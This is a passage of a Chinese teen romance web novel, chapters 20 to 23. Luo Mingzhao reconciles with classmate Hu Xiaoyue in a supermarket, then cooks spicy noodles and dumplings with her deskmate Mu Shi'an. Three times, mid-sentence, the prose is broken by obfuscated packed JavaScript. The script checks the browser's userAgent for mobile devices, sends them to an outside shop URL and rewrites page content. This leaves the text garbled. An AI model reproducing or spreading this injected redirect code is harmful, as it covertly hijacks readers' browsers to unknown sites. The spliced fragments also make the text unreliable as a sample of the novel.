她俯身撑着推车扶手,脑子里想了一会儿,扬起脑袋,终于开口道:“你妈妈她,看着好像不是很喜欢我的样子,我有做过什么冒犯到她的事吗?” “没有,你看错了而已。”胡晓月答得很快。 见她完全就是一副抵死不认的架势,骆眀昭也没办法,把话说得更直白了点。 “我本来以为,上次班主任发现我用手机的事除了你之外没人会告诉她,我现在才发现还有别的可能性……就是你妈妈跟她说的。” “就是我说的。”胡晓月猝不及防地反驳她。 她实在是演技太差了,旁人打眼一瞧就能看出她心虚,骆眀昭也没在意,原本这次偶遇叫住她,就是为了解决问题。 “那行,正好困扰我很久了,我刚好采访你一下,咱们无冤无仇,你非要因为这点事就跟班主任的说的原因是什么呢?” “我……” 20. 螺蛳粉 骆眀昭没跟任何人说过,唯一的倾诉对象就是她小小的迷你日记本。 她最近的彷徨迷茫不仅是因为陷入暂时低谷期的王乐萍,还因为胡晓月。 骆眀昭总是在心底宽慰自己,就像骆齐曾经对她说的,人应该为自己而活,所以除了自我之外的其他都不重要,忽视掉那些繁杂的声音,包括他人对自己的误解、恶意如若此类。 她一直惦记着这句话,也努力在最敏感脆弱的年纪,践行着这条听上去有些虚无规则。 可是这两周她都在困惑不解,因为这项规则似乎在她的世界中出现404警告。 跟胡晓月之间的小小插曲,就该随着被划分好的新座位而结束,可她偏偏又听到了新的故事,就是胡晓月可能是喜欢着牧时桉,因而对忽然横空出现在他身侧新的女生朋友产生天然的敌意。 这仅仅是个无端的揣测,没人能真的看透胡晓月内心,猜到她真正的想法。 但骆眀昭还是心里发堵,她觉得不开心。 内心隐藏着的秩序感决定了,她可以接受产生冲突是因为自己有做得不好的地方,或者两人性格诧异,再或者是胡晓月就是莫名其妙瞧她不顺眼而导致两个人之间的相处不融洽。 任何原因都好,但她不能接受连坐,只是因为她来到北校区认识了新朋友牧时桉,只因为自己成了他的朋友,就一定要接受这种没来由的事吗? 也因此,她最近刻意跟他保持距离,每每瞧见他而想起这事,内心就焦灼烦躁。 也许她就是多想,也就就是个误会。 但是骆眀昭忽视不掉这声音,同样也不能允许这怀疑的种子在她的内心发酵,她要当面同她问清楚。 胡晓月眼神飘忽,双手撑在超市推车上的骆眀昭,直勾勾地看她。 “你能先回答我个问题吗?”她终于问出了那个困扰她很久的问题,“你不喜欢我,是因为牧时桉吗?” 僻静的货架间,胡晓月没能藏住内心的情绪,错愕地睁大眼睛,垂在腿边的手微微颤抖着。 “事实上,我对你的秘密不敢兴趣,我仅仅是需要一个yesorno,这对我来说很重要。”骆眀昭极轻地叹了口气,心间隐隐触动,自己是不是逼得太紧,可片刻过后她又再一次坚定下来,她是为了自己。 胡晓月手指渐渐攥紧,超市广播不间断地播放着各种资讯,声音响彻空间,再伴随着各类杂音,但她好像全都听不见,内心接连不断地重复着骆眀昭的那个问题。 终于,她缓缓开口:“我想说不是,但我没法过自己心里那关。” 四周顿时鸦雀无声,在那个空间里仿佛就只有她们两个少女。 她承认了。 骆眀昭原本以为她会很生气的,暴跳如雷,扯着头花问她自己招谁惹谁。 可实际上,更感觉到的是,心间的大石头终于落地,她也终于稳稳站在地面上。 “或者更明确的说,一开始是,可能是被那种危险的念头侵占了大脑吧。”胡晓月耸耸肩,微微笑了一下,那是她第一次跟骆眀昭笑,很漂亮。 跟自己喜欢的人,近在咫尺却又无法靠近,暗恋本身就是件很损耗心力的事。 所以看到明明是刚来到这里的骆眀昭,却能做到她一年都没能做到的事,除了羡慕之外,更多则是被不受控制的嫉妒和不甘包裹。 而被藏在灵魂深处的自我,又像颗定时炸弹,说不定某个不经意间,就忽地爆炸,伤到自己和旁人,而骆眀昭就成为了这个无辜的受害者。 即便这位新同桌一直在向她表达善意,自已也无法接纳她的存在,嫉妒心发芽猛长,然后在某一次最终爆炸,就是眼睁睁瞧着他们笑着同行时。 胡晓月扬起头:“然后不知怎么发了失心疯吧,就忽然压不住对你的厌烦,对不起。” 她说得很真挚,过经过这段时间,她早就从不受控的状态中走出来了,而翻涌上的,则是深深的愧疚感。 骆眀昭手里不自觉搓着小熊耳朵:“所以,跟宋老师打小报告的事,不是你。” “但也是因为我……”她还想说些什么。 骆眀昭语气坚定:“但不是你本人。” 她从没有看透别人内心的能力,但是却有种莫名驱使着自己的能量,指引着她的相信,可能就仅仅是种莫名地认同感,但至少她觉得胡晓月不是那样的人。 胡晓月诧异地愣着那,一种不知名地温热感席卷她整颗心脏。 想了许久,她终于后知后觉地开口解释:“对不起,我不是故意的,那天可能是我心情真的不算好,回家后我妈妈又一直管着我让我很烦,我无意识地就跟她胡说了你的事情,事实上我妈在给班主任打电话的时候,我是有机会阻止的,但我没有。” 一直到今天,她才终于说出了事实全貌,但若不是外在压力逼着她,她大概一辈子都没法说出来。 而其实更多的是,在做了错事后,却又看到骆眀昭发给她长长的微信消息,在见证骆眀昭的真切后,由衷的愧意让她臊地说不出口。 骆眀昭自从见到胡母对自己的态度,大概猜到事实可能会是这样。 她垂下眼,心情像是杂乱的毛线球般繁杂,纠缠出无数个死结,但她却没有死心地一点点解开。 “我也要跟你说对不起,我当时应该再跟你求证一下的,”骆眀昭低下头忽地说,“而且很无耻地拿着你的秘密在你面前逼着你开口,真的很抱歉。” 两个少女,都冲着对方低下了名为勇气的头。 这一刻,骆眀昭一直坚定的那句话,似乎在某个瞬间有了新的光彩。 她一直在同后半句僵持着,其实,骆齐真正想告诉她的,是前半句——因为为自己而活着,所以内心才最重要,顺着自我真正的想法去选择,是不会后悔的。 骆眀昭很庆幸,庆幸自己死脑筋地要求个说法。 “嘭”—— 忽地响起的猛烈声音,吓得地两人赶紧抬头,再一看,身边的购物车还在不停向着远处滑动。 另一头推着车的工作人员不好意思地朝她们道歉:“对不起,对不起,我转弯时没看到。” “没事!”骆眀昭留下这句话,赶紧快步去追自己奔跑中的购物车。 在即将撞上货架时,骆眀昭先手抓住车的扶手,购物车稳稳停下脚步。 唔,真是速度与激情啊。 胡晓月也跟在后面小跑过来,着急地问:“没事吧?” “没事没事。”骆眀昭靠着货架,这会儿还心有余悸,伏在胸前镇定情绪。 两人不知不觉间目光对视,然后在某一刻,相视一笑。 购物车停在的地方,刚好是速食专区,骆眀昭目光落在喜欢吃的螺蛳粉上,眼神亮着。一旁还用很大的牌子写着全场八五折,大概没人能抗拒折扣的诱惑吧。 骆眀昭望着五花八门的品牌,感觉人都已经走不动道了,她伸出手一包包选着,已经忘记刚刚两人涌动之间的气氛,兴致勃勃地推荐:“要不要尝试一下这个牌子的粉,量大哦,一包管饱。” 胡晓月呆了几秒,没有点没反应过来事情怎么忽地演变为这样,背着手结结巴巴地回:“是、是嘛?” “对啊,不过就是这个牌子味大,妈见打,”骆眀昭说着,就往购物车里丢了两包,转而又指向另一个包装,“这个味小,你可以尝试一下,我爱吃番茄口的,往锅里放一个切碎的番茄,然后用油炒出沙,再倒水煮粉,味道一绝。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603007|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >胡晓月眨巴眨巴眼。 她是知道骆眀昭好像比较爱吃,每次下课就能看到她不知道从哪里就摸出一包小零嘴来,今天却又有了更深刻的体会,骆眀昭是真爱吃啊,她出神地期间,美食家还在滔滔不绝地讲着各个品牌的差别。 实际上,胡母很少让她吃速食,更准确讲,除了胡母自己做的饭,市面上一切食品都会被她划入不健康、不干净的禁止清单。 这边骆眀昭已经讲到炒螺蛳粉该怎么做,也许是她讲得细致,也忍不住令人分泌口水,即便心知可能会让胡母生气,胡晓月也禁不住拿了两包,抱在怀里。 骆眀昭一讲到吃的,就忘我了,陶醉了,等再反应过来,只见胡晓月已经拿了两包螺蛳粉,她嘴角不禁越吊越高,被吃下安利是有种成就感的。 两人心有灵犀地没有提起刚刚发生的对话,好像只是发生于另一时空的事,两人并肩走着,围着速食品又绕一会儿。 很快,胡母那边的催促电话就打来,她们在结账出口等着她。 胡晓月放下电话:“那个,我妈叫我,我就先走了。” “好。“骆眀昭点点头。 她抱着怀里的两包螺蛳粉缓缓转身,在余光里的骆眀昭消失的前一秒,胡晓月顿住,旋即侧身回头:“开学见。” 骆眀昭手中推着购物车,朝着她露出了微笑:“嗯,开学见。” 胡晓月彻底转身,朝着结账出口步伐轻快地走出去。 进入自助结账区域,远处就望见长椅上,婆媳两人正坐在长椅上等着她,脚边放着购物袋。 结完账,胡晓月抱着两包螺蛳粉走出去,胡母迎面第一眼就看见她怀里抱着的商品:“你这买的什么?” “螺蛳粉。”胡晓月回答。 胡母皱起眉来:“什么玩意,都是垃圾食品,你也——” 她的话还没说完,就被胡奶奶先一步打断:“螺蛳粉?那是什么,好吃吗?” 胡晓月歪歪头,老实说:“我也不知道,是同学推荐的。” 胡奶奶不扫兴地笑着说:“那咱们明天尝尝味呗。” “好。” - 购物没刹住,提着两大包购物袋只能肉痛地选择打车,走在小区里的骆眀昭,扬起头天边被夕阳染上橘红。 刚要踏进单元门,远处就传来一声唤她的女声。 “昭昭啊?”骆眀昭顺势回头,是孙惠,旁边还站着牧时桉。 孙惠看着她手里两大包:“昭昭这是去超市啦?你不赶紧去帮人家拿一下。” 她胳膊肘撞了下自家儿子,骆眀昭其实想说不用,还没开口,手里的购物袋已经被人拎走一包。 牧时桉垂下眼看看:“买了不少啊。” “对啊,好多打折的。”也许是因为跟胡晓月已经把话说开,骆眀昭再看他已经给没有那种烦躁感。 牧时桉留意着她的笑意,挑着眉梢。 她似乎没有躲着自己的意思了,但他什么都没做啊?女孩子真是难解释的生物。 孙惠好奇:“怎么就你自己?老骆和乐萍呢?” 骆眀昭回说:“他俩去我姥爷家了,后天才回来。” “啊,你一个人过中秋啊,要不然来阿姨家吃饭。”孙惠说着,三人走进楼道。 有人帮着提购物袋,骆眀昭的脚步也轻了不少,她笑着摇摇头:“阿姨不用啦,我晚上有饭吃的。” 牧时桉跟在她身后,冷不丁出声问:“吃的什么?” 骆眀昭从小熊包里翻出家门钥匙,然后轻笑回答:“螺蛳粉。” 进门同时,包里的手机似乎震了下,骆眀昭伸手摸出来,屏幕上映入眼帘的字符——你已经添加晓月,现在可以开始聊天了。 21. 煎饺 【警告:这章不下饭。】 解决糟心事,骆眀昭接下来的假期生活相当滋润,每天一觉睡到太阳晒屁股,下午写作业,晚上看电视剧或是跟小姐妹打游戏。 在林雨彤的威逼利诱下,她讲了这段时间发生的一些事,包括和胡晓月的部分,当然,最后的结果就是被狠狠批斗一番。 “姐妹情分淡了!淡了!你现在什么事都不跟我们说是吗?”耳机里传来林雨彤的咆哮声,原本音量就大,吓得骆眀昭险些把手中iPad丢出去。 骆眀昭趴着床上,翘着脚,手里操作着游戏人物,有些心虚地回:“哎呦,我不是怕你们担心嘛,二楼有人,压下脚步。” 梁若璇的角色三步并作两步,拿着冲锋枪就冲上二楼,拿下敌人:“你不跟我们说,我们才会担心。” 最后在毒圈,三人都默契地没有说话,专心在手中的操作中,梁若璇将敌人打到半血却被反杀,骆眀昭及时赶到补枪,成功吃鸡。 屏幕在结算,骆眀昭撑着床爬起来甩了甩有些酸痛的手腕,今天玩得时间有些长。 “不过昭昭你也挺勇敢的,居然能主动找她把话说开,若是我,事情过去,可能就这么过去了。”那头梁若璇说。 骆眀昭摘下耳机,游戏声音外到整间小屋,她扬起头伸了个懒腰:“每个人解题思路不一样嘛。” 林雨彤说:“算了,看在你这次认错态度良好的份上,放你一马,再有下次大刑伺候。” 骆眀昭呲牙咧嘴地笑:“收到。” 屏幕里女生天南海北地聊着,骆眀昭从床上下来,踩着拖鞋走到餐厅给自己接了杯温水,家里仍就是她一个人。 骆齐夫妇这一趟比预想地多走好几天,姥爷嘴上说着自己一人可以,儿女们真的回来他反而舍不得,要不是明天王乐萍医院要值班,还回不来呢。 她刚端着水杯回到卧室,就听见梁若璇在哀嚎:“怎么大后天就要开学了,救命,真的不想读高中,能不能让我一键快进到读大学啊。” “你以为我不想吗?去骆眀昭,给我找个时空机。”林雨彤开始胡言乱语。 骆眀昭坐在床边:“我敢找,你敢用吗?” “你敢找我就敢用。” “你敢用我就敢找。” …… 诸如此类没有营养的话,又在游戏准备界面聊半天,快到晚饭时间,骆眀昭肚子没出息地叫了几声,骆齐他们八九点才到家,晚餐还得她自己解决。 “璇璇,你干什——”梁若璇那边语音戛然而止,骆眀昭和林雨彤都见怪不怪,她家父母管她严,每次打游戏跟在搞游击战似的,说不定啥时候人就挂机了。 骆眀昭拿着iPad起身去厨房找吃的,在橱柜里左翻右翻,没找到想吃的。 这时候,梁若璇也回来了:“姐妹们,我胡汉三又回来了!” “你妈妈叫你干嘛?”林雨彤问。 梁若璇那头有些窸窸窣窣的动静:“哦,我哥他们来了,我妈让我给我爸打个电话说一声。” 林雨彤说:“牧时桉也来了?叫他一块打游戏呗。” 梁若璇否认:“他没来,说懒得过来,在家瘫着呢。” 骆眀昭翻腾半天,拿出包火鸡面来,忽然很想吃这种辣味的东西,她找得入神,没听见两姐妹在聊些什么。 “哎,你们说我晚上吃火鸡面咋样?”骆眀昭随口一问。 梁若璇却想到些什么,语调微扬:“哎呀,说起来,不知道我大侄子自己在家吃什么呢?听说他中午就没吃饭,不知道晚上是不是还饿着,要是谁帮我去看看就好啦。” 骆眀昭靠着墙边,唇角一扯,感觉太阳穴都忍不住地猛跳:“你直接报我身份证号就得了呗?梁若璇小姐,你算盘珠子快蹦我脸上啦。” 梁若璇被无情戳破,讪讪笑着。 虽说她确实是掺杂了点撮合人的小心思,但也是实打实想关心下自己大侄子,别人不晓得,她跟牧时桉一块长大还不知道,说不定又嫌麻烦不吃饭,平时在学校她还能看着他,胃就是这么积年累月饿坏了。给他打电话查岗,要不说马上吃,要不就说吃完了。 “讲真的,你帮我瞅一眼去呗,反正就几步,看一眼就回来。”梁若璇又说道。 骆眀昭下意识抬头瞧了眼天花板,沉思一会:“行吧。” - 昭昭是我:【在家没?】 牧时桉盯着这条新微信出神,指尖在屏幕上几度落下,最终都悬在半空。 微波炉发出“叮”的一声,唤回出走的意识,他在手机很快敲着,放下手机走到微波炉前。 卅:【在,有事?】 牧时桉把碗放在桌上时,亮起的屏幕在一旁又震了一下。 昭昭是我:【方便开门吗?我在门口。】 在门口? 虽然懵,但他还是老实走到门前,一开门,骆眀昭正站在门口。 骆眀昭下意识扬起头,只见牧时桉脑袋上顶着一头乱蓬蓬的头发,懒洋洋地掀起眼皮,瞧那模样就是刚醒不久。 骆眀昭愣了几秒,手中无意识晃悠着家门钥匙,不太确定地问:“你,刚起床啊?” “晚上没睡好,午觉就多睡了会儿,”牧时桉伸手揉了把头发,漫不经心地扬起下巴,“进来吗?” 骆眀昭惦记着她的任务:“嗯,麻烦了。” 她弯腰换鞋进屋,房间里隐隐有股饭菜的味道,她嗅了嗅。 “怎么忽然过来了?”牧时桉问。 骆眀昭抱着胸,堂堂正正说出自己此行目的:“小璇让我上来查岗,看你有没有老实吃晚饭。” 牧时桉愣了下,朝她看一眼就往餐厅走:“正准备吃。” 骆眀昭跟着他往餐厅走几步,快进门时,她顿在原地,双眼目不转睛地盯着饭桌上那一碗不明物体的东西,嘴唇微张着。 这是,啥啊。 她很难不往一些不太干净的物体去想,实在是它的外形太往某些脏东西靠近,餐厅光线又算不上好,只瞧见棕色凝成一坨坨的扒在碗上,骆眀昭只能庆幸,自己来之前没吃饭。 她忍住喷涌上的反胃,颤抖地指着那碗不明物体:“那个,麻烦问下,你那是什么?” 牧时桉抄着裤兜,扫了一眼桌上的碗,腔调散漫:“酱茄子啊。” “酱茄子!”那确定不是……骆眀昭不死心地又问,“那碗里一块块地扒着的,棕色的又是什么东西!” 牧时桉:“馒头,我嫌麻烦,掰碎放菜里,用微波炉打了一会儿。” 我谢谢你。 骆眀昭已经感觉自己灵魂已然受到重创,她早知道这哥不是一般人,没想到他这么不一般。 她强令自己,忘记那些不干不净的遐想。 但即便骆眀昭知道那就是碗卖相不太好的菜,也很难接受世界上会有卖相这么不好的饭,正常人谁看它还能有食欲!连稀带干的…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603008|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呕!”骆眀昭实在没忍住,又冲到桌前把碗撇到一旁,“我说,咱吃点好的吧,实在不行咱们点个外卖也成啊。” 牧时桉好整以暇地看着她,几秒钟时间里,脸上划过无数丰富的表情。 骆眀昭仰着头看他,她是真的相信自己走后,这哥能无所谓地吃完这碗饭,脑中纠结万千:“算了,你,我下楼去我家吃饭,这玩意倒了吧。” “吃什么?”他却问。 骆眀昭忽地想起什么:“上次我给你的火鸡面吃了吗?” 牧时桉摇头:“没。” “那就带上,咱们吃这个。”骆大厨指挥道。 几分钟后,两人就已经闪现到骆家厨房,大理石台面上,摆放着两袋火鸡面,锅里装好水,骆眀昭缓缓拧开煤气灶,火燃烧地很旺。 牧时桉抱胸站到一旁,侧目望向她。 骆眀昭盖上锅盖等水开,目光落在牧时桉脸上,直到这会儿她才从刚刚的震撼里走出来:“站那么远干嘛,过来。” 牧时桉应声朝她落来,两人并肩站在灶前:“怎么?” “接下来,你来煮,我教你。”骆眀昭说完,边做出请的手势,往一旁退了半步。 她半靠坐在台面上,仰起头,男生视线不移地看着她。 “看我干嘛?” “为什么忽然教我?” “那不是你自己上次说,不会煮吗?” 牧时桉愣了几秒,转过头微不可查地勾起唇,她记得倒是清楚。 水开得有些慢,骆眀昭无聊地发着呆,忽然想起些什么来。 “一包面通常不够我吃的,再加点别的吧。” 牧时桉盯着锅中冒着小泡的水,点头:“可以,那加什么。” 骆眀昭走到冰箱前:“我找找哈。” 她打开冰箱门,由上至下地都翻了一遍,平时爱吃的年糕和芝士家里都没有,不过却找出些旁的东西,骆眀昭拿着食材,走过来放在台面上。 “我看网上说加点宽粉也好吃,正好还有半袋,然后还有半袋这个煎饺,碳水盛宴,绝对够,我跟你说我别的不行,煎饺可有一套了,都是我奶奶亲自教的……”骆眀昭滔滔不绝讲着。 牧时桉就这么一直安静听着,锅中的热水在不知不觉间沸腾,蒸汽被压制于锅盖下蠢蠢欲动,骆眀昭这时也从橱柜里翻出平底不粘锅。 骆眀昭点开另一个关闭着的灶头,同时分神指挥着:“水开了,别放调料包,先煮面哈。” 牧时桉应声,照做。这边骆眀昭有条不紊地煎饺,油遇上饺子在锅中刺啦刺啦地响着。想着时间差不多,她又说:“先把火关掉,然后把锅里的水舀出来,剩跟比面少的量就行——” 骆眀昭偏过头,想瞧一眼他盛出的水量,油烟机的灯下,少年骨节分明的手,虎口出映出片刺眼的红。 “你被烫到啦!”她惊呼。 牧时桉不在乎地低头扫过:“放面的时候好像动作有点大,水溅起来了。” 苍白的皮肤上红得扎眼,骆眀昭赶紧把煎饺锅的火关掉,拽着他的手腕就来到水池前。 “你是笨蛋吗!烫到也不说一声。”水哗啦啦地在他皮肤上冲着,骆眀昭蹙着眉念叨。 手上不断冲过凉水,可被女生紧握住的手腕皮肤却怎么都凉不下来,温度还在持续升高,灼烧着他的意识,牧时桉目光定在她的手上,莫名地束手无策。 他垂下头,喃喃道:“是有点笨。” 22. 草莓牛奶 逼仄的空间里,只环绕着哗啦啦水流声,任由骆眀昭拉着他的手腕冲洗了七八分钟,牧时桉都一直静静看着她,没有说话。 肉眼可见红色下去不少,骆眀昭总算放下心来,侧过脸看他:“还疼吗?” “还行。”他瞬间移开目光,清咳一声。 骆眀昭语塞,怎么感觉他脑子笨笨的,只好换个问法:“那用你刚刚的痛感来比较,有缓解吗?” 他这次给出准确的答复:“缓解很多。” 女生蹙起的眉心总算是柔和些,她松开牧时桉的手腕,手上的水渍用一旁的厨房纸巾简单擦擦。 疼也不说,就忍着,他以为自己是什么忍者神龟吗? 看在他算是半个伤患的份上,骆眀昭也懒得跟他计较,偏头看了眼锅里的面和煎饺,尤其原本筋道的面条已经被水泡软,早知道就直接让他叫个外卖。就不心软拉他下楼了。 “算了,反正剩几分钟收尾,你坐外面等着吧。”骆眀昭扬扬下巴示意让他出去坐着。 牧时桉瞧着她的表情,垂下眼,莫名心中升起几分不自在,那样子就像他跟梁若璇小时候去坐席,大人们也是这般扬扬下巴,让他俩去做小孩那桌。 “我帮你。”他忽地开口。 骆眀昭感觉视线内的光影都被一人的身躯挡住,她瞧着发怔,只吐出几个字:“你是伤患。” 牧时桉微皱着眉,却说:“还没残,端盘子这种工作可以胜任。” 锅中泡面还被热水浸着,骆眀昭侧眼看着,心里还是更担心自己的面条,他爱站着就站着吧,她走到灶台前,缓缓把火点着,先处理火鸡面。 “而且,课还没完呢。” 在骆眀昭把火鸡面酱拌进泡面时,身后的牧时桉忽地说出说出这么句话来。 锅开小火,她用筷子不停搅拌着直到酱料均匀,骆眀昭没反应过来:“什么课?” 她分神转过头去瞧他,男生歪着头,噙着笑看她:“火鸡面课。” 说得你这人还挺好学。 有种被当成米其林三星大厨的感觉,骆眀昭压制住洋洋得意的笑容:“那,你过来看着吧,我跟你说放酱的时候一定要开小火,汁都干锅也不好吃……” 她说着,亲囊传授着自己的毕生所学,牧时桉就那么一直侧着脸在看,只有他自己知道有没有看到心里去。 伸手关掉开关后,骆眀昭放下筷子,说:“不是帮忙嘛,那帮我盛进盘子里吧。”话落,又去关心那被遗忘在锅里的煎饺。 牧时桉也没说话,就安静地拿起筷子把火鸡面非常平均地分为两份。 煎饺也没一会儿就出锅,一共六个,她抓住铲子,在每个盘子都放了三个。 “走吧,锅一会儿再洗,我饿得不行,要先吃饭。”骆眀昭早在上楼前就饿了,谁知道一顿饭折腾到这会。 牧时桉端着盘子放在餐桌上,抬眼瞧过窗外,天色几乎彻底阴沉下来。 骆眀昭正要拉出椅子坐下,客厅里的手机忽然响起来电铃声,她撇撇嘴,只好先去接电话,临走前还留下一句,你先吃哈。 她快走到客厅,从牧时桉身边擦肩而过,额前的齐刘海都随之摆动,牧时桉目随着她,看着她从沙发空隙出捞起手机。 “我在家呢……不用带饭我做了……牧时桉也在……要搬东西啊……” 骆眀昭坐在沙发上聊着,电话那头是王乐萍。 牧时桉收回视线,拉起椅子坐下,他垂眼瞧着面前那盘火鸡面,突然伸手从裤袋里摸出手机,点开照相,拍下一张因为过分写实,而看着没什么食欲的照片。 好像,骆眀昭朋友圈里,拍出来的照片不是这样的。 她那个似乎更鲜艳点,角度也更…… “怎么还不吃啊?”这时候骆眀昭放下手机回来,取而代之地是怀里的iPad。 牧时桉很快地将手机收回,动作自然地看不出破绽:“正要吃。” “快吃吧,要凉啦。”她拉开椅子坐下。 骆眀昭低下头,一截干净白皙的脖颈露出来,她正专注地选着下饭剧,指尖不停在屏幕上滑动着,终于在某一处确定。 “《柯南》看吗?”她转头问。 牧时桉:“可以。” 骆眀昭平板支在两人面前,她是刻意把自己座位选在牧时桉身侧的,这样只要她不刻意转头,是瞧不见他吃饭的。 她可真是个大聪明。 前四百集她反反复复看,尤其中配几乎能背出台词,她随便选了一集,屏幕里剧情开始,骆眀昭也拿起筷子埋下头吃饭,果不其然面条软趴趴的,完全丧失原本的筋道,不过味道还在,尤其宽粉煮久更好嚼,总体也是道美味的晚餐。 直到案件已经进行到柯南灵光一现的时候,除了视频声和骆眀昭在小声嗦面的动静外,她没听到任何声响,余光里的牧时桉似乎也在安静吃饭,没什么旁的动作,一切都仿佛井井有。 骆眀昭隐隐,就是感觉有哪里不太对劲。 可能就是她多想了……但也许是潜意识驱使着她,她还是转过头。 视线中的男生眼睫低垂,如同往昔一般安静地吃着面,可惜含着泪的眼眶和通红的耳垂还是暴露他当下状况的确算不上太好。第一次,骆眀昭在他吃饭时,瞧出活人味,可要是这股灵性,是要用他的狼狈换来的,她宁可从没见过。 像是一颗硕大的柠檬,在不知疲倦地往外泛酸,骆眀昭心脏难受的要命。 喂,做什么,不能吃非要逞强干嘛!平时不是一幅又拽又酷的模样嘛,怎么这时候非要这么老实。 她一把抽走牧时桉面前的盘子,突如其来地变故让他措不及防,手里沾着火红汤汁的筷子还悬在半空,愣住。 骆眀昭又起身去冰箱翻找,她家也没什么喝牛奶的习惯,最后就能从橱柜里翻出找出一瓶草莓牛奶来,走过去强塞给他。 “不能吃辣干嘛不直说,真吃坏了咋办!”骆眀昭语气有些强硬。 真不是她小题大做,虽说这是最弱等级的辣味,但她也真听过老骆说有辣椒过敏的人,吃袋普通辣条进医院的。 而且这人,什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603009|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都一幅无所谓的冷漠架势,刚刚被热水烫到也是,那可是滚水,被烫到也一声不吭,这人到底是怎么长到这么大的,怎么能做到一点都不爱惜身体。 少女清脆有力的声音,钻进牧时桉的耳朵里,他攥着草莓奶,在她的注视下仰着头,喉结滚动,一小瓶顿时喝个干净,香甜的草莓味侵占他口腔的每处空隙,把火辣的辣意压制彻底,只剩躲不开的甜。 骆眀昭只当他还没缓过来:“没事吧,你不会是对辣椒过敏吧!” “不是,只是太久没吃过辣的而已,不太习惯。”在骆眀昭拓展出更多吓人的猜想时,他先一步制止解释道。 牧家也就个牧时桉算是先天可以吃辣,梁若璇算是后天猛炫辣条练出来的,剩下几个长辈清一水的辣椒无能,从前梁若璇非要拉着他去吃重庆火锅,虽然也吃地冒汗,但能接受。 这是他第一次吃火鸡面,是他从来没想象过的辣味,嘴巴里仿佛烧碱在跳动,又烧又痛,可偏头去看骆眀昭,她却仿佛感受不到一般,甚至还去拿火鸡面酱去沾煎饺吃。 这个年纪,没有男生会愿意在异性面前露怯,牧时桉似乎也没能免俗。 家里最后一瓶草莓牛奶被他喝掉,骆眀昭无奈只能又给他倒了杯温水:“我说,咱们稍微在乎一下自己身体好不好,难受别憋着啊。” “我没有。”牧时桉硬撑着,耳朵却爬上微红。 你说没有就没有吧。 “早知道真不该把你拽下来,要不是……”她喃喃自语,却被牧时桉听个正着。 他扬起眉:“要不是什么?” 骆眀昭不自然地偏过头,眼睛眨了又眨。 除了,因为看不下去他吃饭那么随便,一时心软才带他一起吃饭以外,实际上她还想通过这顿晚餐,去弥补她心间隐藏着的愧疚。 明明她自己不喜欢连坐,却因为胡晓月的事,转而对完全无辜的他没有好脸色。这样不对,骆眀昭知道错了。 牧时桉同样是她的朋友,甚至是她来到北校区第一个认识的朋友。 可她不能莫名其妙朝他道歉,尤其是她需要永久封存那个女生无法言说的小秘密,所以只能选择另辟蹊径,起码算是用没什么诚意的一顿饭来表达她不能说出口的歉意。 “唔……”她沉默了一会儿,“你是如何看待你原本的晚餐的,我说的就是你那道独创的酱茄子拌馒头。” 牧时桉愣神几秒,就如实说:“我妈中午的剩菜,这样做很方便,不脏手还能少洗个碗。”他完全就是图省事。 骆眀昭撑着桌面,尽量用一种委婉的话音来表达她的观点:“你有没有觉得,你这道菜在外观上,缺少了那么点食欲。就比如形态上,似乎不太对劲。” 牧时桉眯着眼,她的话是什么意思,形态上怎么…… 慢着—— 骆眀昭还想在拐着弯地形容一下,但注意着他的神色,大概他是懂她的画外音:“所以你知道了吧,我也是实在看不下去你过得这么糙,咱们毕竟也是同桌哈。” 牧时桉脸黑得要命。 23. 烤肉拌饭 不知道是不是那晚的发言带给牧时桉的冲击太大,骆眀昭总觉得这两天同桌总是跟她隔着八丈远,似乎又回到最开始那会儿的高冷酷哥形象。 说话能用一个字解决的绝不开口说第二个字。 骆眀昭嘟嘟嘴也表示无所谓,说不定这老哥过两天就能缓过劲来。 感觉教师们似乎也过了个轻松的小长假,原本以为返校当天就得受到成绩单折磨,没想到直到开学第三天才最终公布成绩,班级成绩单就贴在教室前排告示板上,年纪排名还是在一层走廊。 班级同学都争先恐后地去看,骆眀昭托着下巴,没有挪窝的意思。 最近讲评试卷时,她已经把自己的成绩掌握差不多了,果然考进一班就纯属老天爷在捉弄她,自己有几斤几两心知肚明。 韩进奇看完成绩单回来,转过身故作悬念:“哎,想不想知道自己排名啊?” “嘻嘻,不想。”骆眀昭咧着嘴角,笑得很假。 “你想。” “不,我不想。” 新前桌罗川正好从卫生间回来,迅速插进他们的对话中:“我想,我想,看我的了吗?老韩。” 韩进奇上下打量他一眼,欲言又止:“看了。” 罗川问:“多少啊?” 韩进奇:“倒数第二。” 罗川瞪大双眼:“什么!不至于吧!难道我坐倒数第二排,就注定要得倒数第二嘛!我就说有些玄学得信!” 